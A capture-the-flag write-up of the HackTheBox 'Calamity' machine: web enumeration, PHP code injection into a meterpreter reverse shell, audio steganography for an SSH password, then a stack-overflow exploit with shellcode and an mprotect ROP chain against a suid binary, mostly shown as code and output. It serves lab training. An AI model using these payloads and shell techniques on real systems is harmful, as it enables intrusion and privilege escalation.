This is my write-up for the Calamity machine provided by HackTheBox and created by forGP.
To get root you are required to write a custom exploit that re-enables data execution on the stack and to know how to dance around in memory like a boss. I’m still a little hazy on some parts so if there are any inaccuracies in the stack breakdown, please correct me so I can learn more
This was my favorite machine on HackTheBox I’ll be breaking the post up into three phases:
Phase 1 - Enumeration
Phase 2 - Exploitation
Phase 3 - Privilege EscalationSource Code Review
Exploit Development
Information Leak
Assembling The Pieces
Shall we take a trip down memory lane?
Phase 1 - Enumeration
First and foremost lets run a basic nmap
scan and see what we are working with
➜ ~ nmap -A --open -R -T4 --max-retries 3 --min-rate 120 --max-rtt-timeout 300ms -Pn 10.10.10.27
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-15 19:37 EST
Nmap scan report for 10.10.10.27
Host is up (0.12s latency).
Not shown: 794 closed ports, 204 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:46:31:9c:b5:71:c5:96:91:7d:e4:63:16:f9:59:a2 (RSA)
| 256 10:c4:09:b9:48:f1:8c:45:26:ca:f6:e1:c2:dc:36:b9 (ECDSA)
|_ 256 a8:bf:dd:c0:71:36:a8:2a:1b:ea:3f:ef:66:99:39:75 (EdDSA)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Brotherhood Software
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.80 seconds
Let’s check out the Apache
server running on port 80 first, we’ll start by curling the source code.
➜ ~ curl http://10.10.10.27
<html>
<head>
<title>Brotherhood Software</title>
</head>
<body background="bg.png">
<center>
<h1 style="color:red">Brotherhood Software - writing security related software since 2009</h1>
<!-- and bad at html and design since forever -->
<div style="opacity:0.4;">
<img src="leet.png"/>
</div>
<div style="color:red">this e-store is under development !Haven't done much yet because we put a lot of time on our pro-products <!-- liiiieeesss -->^_^ ...but it will soon be operating
</div></center>
</body>
</html>
Looks like forGP gave us a hint that these guys weren’t very competent developers. This will become clear later.
Let’s do a little dirbusting with wfuzz
and our admin-panels.txt
wordlist.
➜ ~ wfuzz --hc 404 -w /usr/share/wordlists/wfuzz/general/admin-panels.txt http://10.10.10.27/FUZZ
Target: HTTP://10.10.10.27/FUZZ
Total requests: 137
========================================================================
ID Response Lines Word Chars Payload
========================================================================
00001: C=200 10 L 25 W 451 Ch "admin.php"
Total time: 2.725248
Processed Requests: 137
Filtered Requests: 136
Requests/sec.: 50.27065
Our wfuzz came back fruitful within seconds, by visitng admin.php we are greeted with the login form. After viewing the source and trying a few SQL Injections and getting no where I decided to curl the page.
➜ ~ curl http://10.10.10.27/admin.php
<html><body>
<form method="post">
Password: <input type="text" name="user"><br>
Username: <input type="password" name="pass">
<input type="submit" value="Log in to the powerful administrator page">
<!-- password is:skoupidotenekes-->
</form>
</body></html>
Here we see the highly skilled developer left the password for his admin panel in an html comment, cleverly hidden away on the far right side of the source code. Not that curl cares. After logging in we have this lovely piece of work
➜ ~ curl --cookie "adminpowa=noonecares" http://10.10.10.27/admin.php
<html>
<title>GOT U BEEJAY</title>
<body>
TADAA IT HAS NOTHING
<br>
what were you waiting for dude ?you know I aint finished creating<br>
xalvas,the boss said I am a piece of shit and that I dont take my job seriously...but when all this is set up...Ima ask for double the money<br>
just cauz he insulted me <br>
Maybe he's still angry at me deleting the DB on the previous site...he should keep backups man !
<br>
anyway I made an html interpreter to work on my php skills !
It wasn't easy I assure you...I'm just a P-R-O on PHP !!!!!!!!!
<br>
access in here is like 99% secure ,but even if that 1% reaches this page ,there's nothing they can do !
<br>
html is super-harmless to our system!
Try writing some simple stuff ...and see how difficult my job is and how underpaid I am
<form method="get">
Your HTML: <input type="text" name="html"><br>
<input type="submit" value="SHOW ME DA PAGE">
</form>
</body></html>
Phase 2 - Exploitation
Reading this message hurt my brain but once I saw “I’m just a P-R-O on PHP” it was time for the most elite remote code execution
<?php phpinfo(); ?>
Much to my surprise this worked.
Wasting absolutely no more time I grabbed a meterpreter session using a msfvenom payload.
➜ ~ msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.15.140 lport=4433 -o test.php
msf > use multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
lhost => tun0
msf exploit(multi/handler) > set lport 4433
lport => 4433
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.15.140:4433
[*] Sending stage (37543 bytes) to 10.10.10.27
[*] Meterpreter session 1 opened (10.10.15.140:4433 -> 10.10.10.27:52006) at 2018-01-15 19:52:23 -0500
meterpreter > getuid
Server username: www-data (33)
Now with a shell it was time to poke around the box a bit
meterpreter > ls /home
Listing: /home
==============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2018-01-15 17:34:16 -0500 xalvas
meterpreter > cd /home/xalvas
meterpreter > ls
Listing: /home/xalvas
=====================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 220 fil 2017-06-27 19:25:56 -0400 .bash_logout
100644/rw-r--r-- 3790 fil 2017-06-27 19:26:45 -0400 .bashrc
40700/rwx------ 4096 dir 2017-06-27 19:36:23 -0400 .cache
40750/rwxr-x--- 4096 dir 2018-01-15 17:34:16 -0500 .config
100664/rw-rw-r-- 43 fil 2017-06-27 18:11:27 -0400 .gdbinit
40775/rwxrwxr-x 4096 dir 2017-06-27 19:24:52 -0400 .nano
100644/rw-r--r-- 655 fil 2017-06-27 19:26:07 -0400 .profile
100644/rw-r--r-- 0 fil 2017-06-27 13:03:39 -0400 .sudo_as_admin_successful
40755/rwxr-xr-x 4096 dir 2017-06-27 18:01:12 -0400 alarmclocks
40750/rwxr-x--- 4096 dir 2017-06-29 14:00:44 -0400 app
100644/rw-r--r-- 225 fil 2017-06-27 18:16:26 -0400 dontforget.txt
100644/rw-r--r-- 3759 fil 2018-01-15 19:49:28 -0500 intrusions
40775/rwxrwxr-x 4096 dir 2017-06-27 18:09:07 -0400 peda
100644/rw-r--r-- 3196724 fil 2017-06-27 18:00:49 -0400 recov.wav
100444/r--r--r-- 33 fil 2017-12-24 10:31:11 -0500 user.txt
meterpreter > cat user.txt
0790e7be60d5cd7faeeb9ac550762e5e
This is where it gets a little CTF-y briefly, strap in, sudo apt-get install audacity, and if you’re like me cry a little at being forced to do steganography.
meterpreter > download recov.wav
[*] Downloading: recov.wav -> recov.wav
[*] Downloaded 1.00 MiB of 3.05 MiB (32.8%): recov.wav -> recov.wav
[*] Downloaded 2.00 MiB of 3.05 MiB (65.6%): recov.wav -> recov.wav
[*] Downloaded 3.00 MiB of 3.05 MiB (98.4%): recov.wav -> recov.wav
[*] Downloaded 3.05 MiB of 3.05 MiB (100.0%): recov.wav -> recov.wav
[*] download : recov.wav -> recov.wav
meterpreter > download alarmclocks/rick.wav
[*] Downloading: alarmclocks/rick.wav -> rick.wav
[*] Downloaded 1.00 MiB of 3.05 MiB (32.8%): alarmclocks/rick.wav -> rick.wav
[*] Downloaded 2.00 MiB of 3.05 MiB (65.6%): alarmclocks/rick.wav -> rick.wav
[*] Downloaded 3.00 MiB of 3.05 MiB (98.41%): alarmclocks/rick.wav -> rick.wav
[*] Downloaded 3.05 MiB of 3.05 MiB (100.0%): alarmclocks/rick.wav -> rick.wav
[*] download : alarmclocks/rick.wav -> rick.wav
Load the rick.wav
into audacity, and then import recov.wav
Click on rick.wav
and add an invert effect, now instead of being rick roll’d by forGP
we can hear it read out a password, note that the password starts at the end of the track and continues reading into the beginning.
Your password is 18547936…*
There’s no way it could possibly be the ssh
login!
Phase 3 - Privilege Escalation
But It was the ssh login.
➜ ~ ssh [email protected]
[email protected] password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-81-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
9 packages can be updated.
8 updates are security updates.
Last login: Mon Jan 15 19:21:45 2018 from 10.10.14.56
xalvas@calamity:~$
Having a look around we found a binary with the suid bit set without even needing to run the find
command
xalvas@calamity:~$ ls -la app
total 28
drwxr-x--- 2 root xalvas 4096 Jun 29 2017 .
drwxr-xr-x 8 xalvas xalvas 4096 Jan 15 17:34 ..
-r-sr-xr-x 1 root root 12584 Jun 29 2017 goodluck <-- look ma, suid
-r--r--r-- 1 root root 3936 Jun 29 2017 src.c
Seems as though this is going to be like babytown frollicks! A suid binary and the source code?! Let’s examine the source to get an idea as to how to approach this.
Source Code Review
This seems important as it’s creating a buffer of USIZE where data may potentially be user suplied.
#define USIZE 12
#define ISIZE 4
struct f {
char user[USIZE];
//int user;
int secret;
int admin;
int session;
}
hey;
This is allowing for user input in the form of a file to be supplied to the application and as we suspected the file contents are then copied into the previous struct’s user buffer.
void createusername() {
//I think something's bad here
unsigned char for_user[ISIZE];
printf("\nFilename: ");
char fn[30];
scanf(" %28s", & fn);
flushit();
copy(fn, for_user,USIZE);
strncpy(hey.user,for_user,ISIZE+1);
hey.user[ISIZE+1]=0;
}
Honestly I don’t need to read anything else when you literally tell me this is vulnerable, I’m going to start here.
void debug() {
printf("\nthis function is problematic on purpose\n");
printf("\nI'm trying to test some things...and that means get control of the program! \n");
char vuln[64];
printf("vulnerable pointer is at %x\n", vuln);
printf("memory information on this binary:\n", vuln);
printmaps();
printf("\nFilename: ");
char fn[30];
scanf(" %28s", & fn);
flushit();
copy(fn,vuln,100);//this shall trigger a buffer overflow
return;
}
But just to be good padawans we have to look a little more, if nothing else just to put it into the back of our mind, we might need it later! This is definitely going to be interesting as it’s a way to gain administrative privileges to the app, however you need to have a secret
and it has to match. There doesn’t appear to be a way to pass the login within the app so we likely will have to pass it through file contents, but we’ll see.
void attempt_login(int shouldbezero, int safety1, int safety2) {
if (safety2 != safety1) {
printf("hackeeerrrr");
fflush(stdout);
exit(666);
}
if (shouldbezero == 0) {
printf("\naccess denied!\n");
fflush(stdout);
} else debug();
}
So here we see how our secret
gets defined, and it is not something we directly seem to control, however we will come back to this later.
int sess= rand();
struct timeval tv;
gettimeofday( & tv, NULL);
int whoopsie=0;
int protect = tv.tv_usec |0x01010101;//I hate null bytes...still secure !
hey.secret = protect;
hey.session = sess;
hey.admin = 0;
createusername();
while (1) {
char action = print();
if (action == '1') {
//I striped the code for security reasons !
} else if (action == '2') {
printdeb(hey.session);
} else if (action == '3') {
attempt_login(hey.admin, protect, hey.secret);
//I'm changing the program ! you will never be to log in as admin...
//I found some bugs that can do us a lot of harm...I'm trying to contain them but I think I'll have to
//write it again from scratch !I hope it's completely harmless now ...
}
else if(action=='4')createusername();
else if (action == '5') return;
}
Exploit Development
First lets run the program and then press ctrl+c to examine some basic information peda supplies to us. We can also run checksec
to see what kind of security mechanisms are in place.
xalvas@calamity:~/app$ gdb -q goodluck
Reading symbols from goodluck...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/xalvas/app/goodluck
^C
Program received signal SIGINT, Interrupt.
[----------------------------------registers-----------------------------------]
EAX: 0xfffffdfc
EBX: 0xbffff5d8 --> 0x1
ECX: 0xbffff5d8 --> 0x1
EDX: 0x7fffffff
ESI: 0xb7ffd940 (0xb7ffd940)
EDI: 0xbffff5d8 --> 0x1
EBP: 0x0
ESP: 0xbffff59c --> 0x0
EIP: 0xb7fdac31 (<__kernel_vsyscall+9>: pop ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdac2b <__kernel_vsyscall+3>: mov ebp,esp
0xb7fdac2d <__kernel_vsyscall+5>: sysenter
0xb7fdac2f <__kernel_vsyscall+7>: int 0x80
=> 0xb7fdac31 <__kernel_vsyscall+9>: pop ebp
0xb7fdac32 <__kernel_vsyscall+10>: pop edx
0xb7fdac33 <__kernel_vsyscall+11>: pop ecx
0xb7fdac34 <__kernel_vsyscall+12>: ret
0xb7fdac35: retf 0xfffa
[------------------------------------stack-------------------------------------]
0000| 0xbffff59c --> 0x0
0004| 0xbffff5a0 --> 0x7fffffff
0008| 0xbffff5a4 --> 0xbffff5d8 --> 0x1
0012| 0xbffff5a8 --> 0xb7eca3a0 (<__nanosleep_nocancel+22>: mov ebx,edx)
0016| 0xbffff5ac --> 0xb7eca2fd (<__sleep+109>: add esp,0x10)
0020| 0xbffff5b0 --> 0xbffff5d8 --> 0x1
0024| 0xbffff5b4 --> 0xbffff5d8 --> 0x1
0028| 0xbffff5b8 --> 0xc2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGINT
0xb7fdac31 in __kernel_vsyscall ()
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : Partial
Here we can see some interesting bits. First we notice that NX is enabled, this means that data execution will be disabled in the context of the stack. So even if we are able to overwrite memory, or even the Instruction Pointer we will be unable to execute shellcode unless we can find a way to re-enable data execution on the stack. Interestingly, peda returned to us a pop pop pop ret
rop chain which starts at 0xb7fdac31
.
Next let’s hop into the debug menu we learned about earlier and see what’s what with jump debug
gdb-peda$ jump debug
Continuing at 0x80000c15.
this function is problematic on purpose
I'm trying to test some things...and that means get control of the program!
vulnerable pointer is at bfffee48
memory information on this binary:
80000000-80002000 r-xp 00000000 08:01 404837 /home/xalvas/app/goodluck
80002000-80003000 r--p 00001000 08:01 404837 /home/xalvas/app/goodluck
80003000-80004000 rw-p 00002000 08:01 404837 /home/xalvas/app/goodluck
80004000-80025000 rw-p 00000000 00:00 0 [heap]
b7e1a000-b7e54000 r-xp 00000000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7e54000-b7e55000 r--p 0003a000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7e55000-b7fca000 r-xp 0003b000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7fca000-b7fcc000 r--p 001af000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7fcc000-b7fcd000 rw-p 001b1000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7fcd000-b7fd0000 rw-p 00000000 00:00 0
b7fd6000-b7fd8000 rw-p 00000000 00:00 0
b7fd8000-b7fda000 r--p 00000000 00:00 0 [vvar]
b7fda000-b7fdb000 r-xp 00000000 00:00 0 [vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so
b7ffd000-b7ffe000 rw-p 00000000 00:00 0
b7ffe000-b7fff000 r--p 00022000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so
b7fff000-b8000000 rw-p 00023000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so
bfedf000-c0000000 rw-p 00000000 00:00 0 [stack]
Filename:
This provides us with some good information from the memorymaps, namely we learn that the vulnerable pointer is at 0xbfffee48
and that the stack is located at 0xbfedf000-c0000000
Before we move forward with learning how we can re-enable execution in the context of the stack, lets see what we’re working with
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100 > fuzzfile
Load this file into the debug
menu and attempt to view the session id with menu option 2, then examine the crash
Stopped reason: SIGSEGV
0x63413563 in ?? ()
With this information we can find the exact offset for our exploit
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
[*] Exact match at offset 76
Now that we have this information we need to figure out how to re-enable execution on the stack, lets start by disassembling main
gdb-peda$ disas main
Dump of assembler code for function main:
0x80000d77 <+0>: lea ecx,[esp+0x4]
0x80000d7b <+4>: and esp,0xfffffff0
0x80000d7e <+7>: push DWORD PTR [ecx-0x4]
0x80000d81 <+10>: push ebp
0x80000d82 <+11>: mov ebp,esp
0x80000d84 <+13>: push ebx
0x80000d85 <+14>: push ecx
0x80000d86 <+15>: sub esp,0x20
0x80000d89 <+18>: call 0x80000820 <__x86.get_pc_thunk.bx>
0x80000d8e <+23>: add ebx,0x2272
0x80000d94 <+29>: push 0x1
0x80000d96 <+31>: push 0x3add6
0x80000d9b <+36>: push 0xb7e1a000
0x80000da0 <+41>: call 0xb7efcd50 <mprotect>
---trimmed due to length---
After researching mprotect
, I learned that it can be used to re-enable execution on the stack via the entry in the linux manual.
Now mprotect
takes three arguments, hence the pop pop pop ret
peda
returned to us earlier. The first argument is the mapped region of memory, the second is the size of the stack, and the third are the permissions.
We already know the mapped region from the stack output of the debug
memorymaps and we already know we want to set it to 0x7
for executable.
We just need to calculate the size of the stack, I use this tool. By subtracting 0xbfedf000
from 0xc0000000
we get 0x121000
With this information we can build a template for our exploit!
# re-enable execution on the stack
payload += p(0xb7efcd50) # mprotect
payload += p(0xb7fdac31) # ropgadget for pop3ret
payload += p(0xbfedf000) # start of stack
payload += p(0x121000) # size of stack
payload += p(0x7) # permissions
payload += p(0xbfffee48) # vulnerable pointer
Note: Never run shellcode if you don’t know what it does.
With this template figured out we can begin building our exploit, but we will need some shellcode to execute, I went with this entry from shell-storm
as it performs setuid(0)
as well as being able to fit in very limited space being only 28-bytes.
#!/usr/bin/python
import os
import struct
# convert address to little-endian format
def p(arg):
return struct.pack('<L', arg)
# /bin/dash
shellcode = "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"
nops = "\x90" * 10
# crash with embedded nopsled into shellcode
payload = nops
payload += shellcode
# padding
payload += "A" * ( 76 - len(shellcode) - len(nops) )
# re-enable execution in stack context
payload += p(0xb7efcd50) # mprotect
payload += p(0xb7fdac31) # ropgadget for pop3ret
payload += p(0xbfedf000) # start of stack
payload += p(0x121000) # size of stack
payload += p(0x7) # permissions
payload += p(0xbfffee48) # vulnerable pointer
print payload
Now let’s generate our exploit and check out what it looks like in file form
xalvas@calamity:/tmp/test$ python exploit.py > exploit
xalvas@calamity:/tmp/test$ cat exploit
����������1ۍC�̀1�Qhn/shh//bi�A
��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP���1������H���
Now by loading this into the debug
function we should get a crash. However keep an eye on the vulnerable pointer reported by the debug
function because it will change on each instance of the program, and likely we have crashed it a few times by now
gdb-peda$ jump debug
Continuing at 0x80000c15.
this function is problematic on purpose
Im trying to test some things...and that means get control of the program!
vulnerable pointer is at bfffee48
memory information on this binary:
80000000-80002000 r-xp 00000000 08:01 404837 /home/xalvas/app/goodluck
80002000-80003000 r--p 00001000 08:01 404837 /home/xalvas/app/goodluck
80003000-80004000 rw-p 00002000 08:01 404837 /home/xalvas/app/goodluck
80004000-80025000 rw-p 00000000 00:00 0 [heap]
b7e1a000-b7e54000 r-xp 00000000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7e54000-b7e55000 r--p 0003a000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7e55000-b7fca000 r-xp 0003b000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7fca000-b7fcc000 r--p 001af000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7fcc000-b7fcd000 rw-p 001b1000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7fcd000-b7fd0000 rw-p 00000000 00:00 0
b7fd6000-b7fd8000 rw-p 00000000 00:00 0
b7fd8000-b7fda000 r--p 00000000 00:00 0 [vvar]
b7fda000-b7fdb000 r-xp 00000000 00:00 0 [vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so
b7ffd000-b7ffe000 rw-p 00000000 00:00 0
b7ffe000-b7fff000 r--p 00022000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so
b7fff000-b8000000 rw-p 00023000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so
bfedf000-c0000000 rw-p 00000000 00:00 0 [stack]
Filename: /tmp/test/exploit
process 1680 is executing new program: /bin/dash
$ id
[New process 4492]
process 4492 is executing new program: /usr/bin/id
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
$ [Inferior 2 (process 4492) exited normally]
Now we have re-enabled executon on the stack proven by the fact our shellcode ran /bin/dash
, however because we have run the program through gdb to get to the debug
menu we are sandboxed as xalvas and not running with the suid bit we saw earlier.
Information Leak
The next step will be to find a way to jump into the debug
menu from normal execution.
Initially by trying to access admin we get access denied!
which if you read attempt_login
from the source code review section above that is because its looking for a secret value to match before it will allow you into the debug menu.
So lets start by fuzzing it.
xalvas@calamity:/tmp/test$ echo "A" > fuzz
When we load this file and examine our session id from menu option two we get debug info: 0x37f3a5ef
Without closing the program currently executing in gdb we get the same result until we send it 8 characters which now gives us debug info: 0x0
Interesting, lets try 9: debug info: 0x81fffffd
10, segfault, okay, so now we can try to get an information leak, we need to leak the value from the hey
struct we examined earlier to get the value of the secret that gets passed to attempt_login
to do this we need to look at the disassembly a bit more.
Let’s try to get an understanding of whats going on
xalvas@calamity:/tmp/test$ echo "AAAABBBBCCCCDDDD" > fuzz
If we load this in and try to examine the session id we get a crash but look closely
[----------------------------------registers-----------------------------------]
EAX: 0x434343ab
EBX: 0x43434343 ('CCCC')
ECX: 0xa ('\n')
EDX: 0xb7fcd87c --> 0x0
ESI: 0xb7fcc000 --> 0x1b1db0
EDI: 0xb7fcc000 --> 0x1b1db0
EBP: 0xbffff638 --> 0x0
ESP: 0xbffff610 --> 0x1
EIP: 0x80000e51 (<main+218>: mov eax,DWORD PTR [eax+0x14])
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80000e45 <main+206>: cmp BYTE PTR [ebp-0x15],0x32
0x80000e49 <main+210>: jne 0x80000e62 <main+235>
0x80000e4b <main+212>: lea eax,[ebx+0x68]
=> 0x80000e51 <main+218>: mov eax,DWORD PTR [eax+0x14]
0x80000e54 <main+221>: sub esp,0xc
0x80000e57 <main+224>: push eax
0x80000e58 <main+225>: call 0x80000be3 <printdeb>
0x80000e5d <main+230>: add esp,0x10
[------------------------------------stack-------------------------------------]
0000| 0xbffff610 --> 0x1
0004| 0xbffff614 --> 0x80003000 --> 0x2ef4
0008| 0xbffff618 --> 0x5a5d54f6
0012| 0xbffff61c --> 0x84c01
0016| 0xbffff620 --> 0x32000001
0020| 0xbffff624 --> 0x1094d01
0024| 0xbffff628 --> 0x0
0028| 0xbffff62c --> 0x31f9663c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x80000e51 in main ()
What is happening here is EBX
is getting loaded with the value of what we place after the first 8-bytes which in this case is “CCCC”, or 0x43434343
. We also see that EAX
is getting loaded with something similar, using a calculator you will notice there is a difference of 0x68
between both values. One way of moving values around like this is to use a lea
instruction so lets look in memory for a lea
that copies EBX+0x68
to EAX
by disassembling main
gdb-peda$ disas main
Dump of assembler code for function main:
0x80000d77 <+0>: lea ecx,[esp+0x4]
0x80000d7b <+4>: and esp,0xfffffff0
0x80000d7e <+7>: push DWORD PTR [ecx-0x4]
0x80000d81 <+10>: push ebp
0x80000d82 <+11>: mov ebp,esp
0x80000d84 <+13>: push ebx
0x80000d85 <+14>: push ecx
0x80000d86 <+15>: sub esp,0x20
---trimmed due to length---
0x80000df8 <+129>: add esp,0x10
0x80000dfb <+132>: mov DWORD PTR [ebp-0x10],0x0
0x80000e02 <+139>: mov eax,DWORD PTR [ebp-0x1c]
0x80000e05 <+142>: or eax,0x1010101
0x80000e0a <+147>: mov DWORD PTR [ebp-0x14],eax
0x80000e0d <+150>: lea eax,[ebx+0x68]
---trimmed due to length---
bingo, 0x80000e0d <+150>: lea eax,[ebx+0x68]
Next lets find where our hey struct lives by searching for it in memory, conveniently we can search for AAAAB
as that is what we used in our fuzzing
gdb-peda$ searchmem AAAAB
Searching for 'AAAAB' in: None ranges
Found 2 results, display max 2 items:
goodluck : 0x80003068 ("AAAAB")
[heap] : 0x80004978 ("AAAABBBBCCCCDDDD\n")
So lets start pokin around 0x80003068
gdb-peda$ x/40x 0x80003068
0x80003068 <hey>: 0x41 0x41 0x41 0x41 0x42 0x00 0x00 0x00
0x80003070 <hey+8>: 0x00 0x00 0x00 0x00 0x01 0x4d 0x09 0x01
0x80003078 <hey+16>: 0x00 0x00 0x00 0x00 0x3c 0x66 0xf9 0x31
0x80003080: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x80003088: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Okay this is the start of our hey struct, however we don’t want this address, we actually want to find 0x80003068 - 0x8 - 0x68
as that is what will be put into EBX
which after being put into EAX
will put us back to right here
which if you do that math will be the address 0x80002ff8
With this information we can move on to the next phase of our exploit, getting an information leak of our secret value needed to get into option 3
Note: do not close the program as this changes values of our secret and there-by our information leak will be useless.
# overwrite EBX with address
# overwrite EAX with address + 0x68
# this will effectively place us right at the start of our A's because
# 0x80002ff8 + 0x68 = 0x80003060
xalvas@calamity:/tmp/test$ python -c "print('A' * 8 +'\xf8\x2f\x00\x80')" > phase1
By loading this file and observing the print session option we get the following
xalvas@calamity:~/app$ ./goodluck
Filename: /tmp/test/phase1
-----MENU-----
1) leave message to admin
2) print session ID
3)login (admin only)
4)change user
5)exit
action: 2
debug info: 0x1096f49
Assembling The Pieces
Next we need to assemble all of our pieces, we’ll start by making use of this information leak. To do this we need to place the value of our secret in the first four bytes of our file, followed by 4-bytes of junk, and then we need to step back four bytes otherwise our program will crash 0x80002ff8 - 0x4 = 0x80002ff4
#!/usr/bin/python
import struct
# session_id dumped from the previous step
payload = struct.pack("<I", 0x1096f49) # session_id
# padding
payload += "A" * 4
# move backwards 4 so we don't leave junk in memory which will crash the program
payload += struct.pack("<I", 0x80002ff4)
print payload
xalvas@calamity:/tmp/test$ python phase2.py > phase2
By loading this in and attepting to access admin we are dropped into our debug
menu.
Filename: /tmp/test/phase2
-----MENU-----
1) leave message to admin
2) print session ID
3)login (admin only)
4)change user
5)exit
action: 3
this function is problematic on purpose
Im trying to test some things...and that means get control of the program!
vulnerable pointer is at bffff5c0
memory information on this binary:
80000000-80002000 r-xp 00000000 08:01 404837 /home/xalvas/app/goodluck
80002000-80003000 r--p 00001000 08:01 404837 /home/xalvas/app/goodluck
80003000-80004000 rw-p 00002000 08:01 404837 /home/xalvas/app/goodluck
80004000-80025000 rw-p 00000000 00:00 0 [heap]
b7e1a000-b7e54000 r-xp 00000000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7e54000-b7e55000 r--p 0003a000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7e55000-b7fca000 r-xp 0003b000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7fca000-b7fcc000 r--p 001af000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7fcc000-b7fcd000 rw-p 001b1000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7fcd000-b7fd0000 rw-p 00000000 00:00 0
b7fd6000-b7fd8000 rw-p 00000000 00:00 0
b7fd8000-b7fda000 r--p 00000000 00:00 0 [vvar]
b7fda000-b7fdb000 r-xp 00000000 00:00 0 [vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so
b7ffd000-b7ffe000 rw-p 00000000 00:00 0
b7ffe000-b7fff000 r--p 00022000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so
b7fff000-b8000000 rw-p 00023000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so
bfedf000-c0000000 rw-p 00000000 00:00 0 [stack]
Filename:
Next we just need to load in our exploit from earlier, but note the vulnerable pointer has changed to 0xbffff5c0
update your exploit, and bask in the glory of shell!
xalvas@calamity:/tmp/test$ python exploit.py > exploit
this function is problematic on purpose
Im trying to test some things...and that means get control of the program!
vulnerable pointer is at bffff5c0
memory information on this binary:
80000000-80002000 r-xp 00000000 08:01 404837 /home/xalvas/app/goodluck
80002000-80003000 r--p 00001000 08:01 404837 /home/xalvas/app/goodluck
80003000-80004000 rw-p 00002000 08:01 404837 /home/xalvas/app/goodluck
80004000-80025000 rw-p 00000000 00:00 0 [heap]
b7e1a000-b7e54000 r-xp 00000000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7e54000-b7e55000 r--p 0003a000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7e55000-b7fca000 r-xp 0003b000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7fca000-b7fcc000 r--p 001af000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7fcc000-b7fcd000 rw-p 001b1000 08:01 142037 /lib/i386-linux-gnu/libc-2.23.so
b7fcd000-b7fd0000 rw-p 00000000 00:00 0
b7fd6000-b7fd8000 rw-p 00000000 00:00 0
b7fd8000-b7fda000 r--p 00000000 00:00 0 [vvar]
b7fda000-b7fdb000 r-xp 00000000 00:00 0 [vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so
b7ffd000-b7ffe000 rw-p 00000000 00:00 0
b7ffe000-b7fff000 r--p 00022000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so
b7fff000-b8000000 rw-p 00023000 08:01 142016 /lib/i386-linux-gnu/ld-2.23.so
bfedf000-c0000000 rw-p 00000000 00:00 0 [stack]
Filename: /tmp/test/exploit
# id
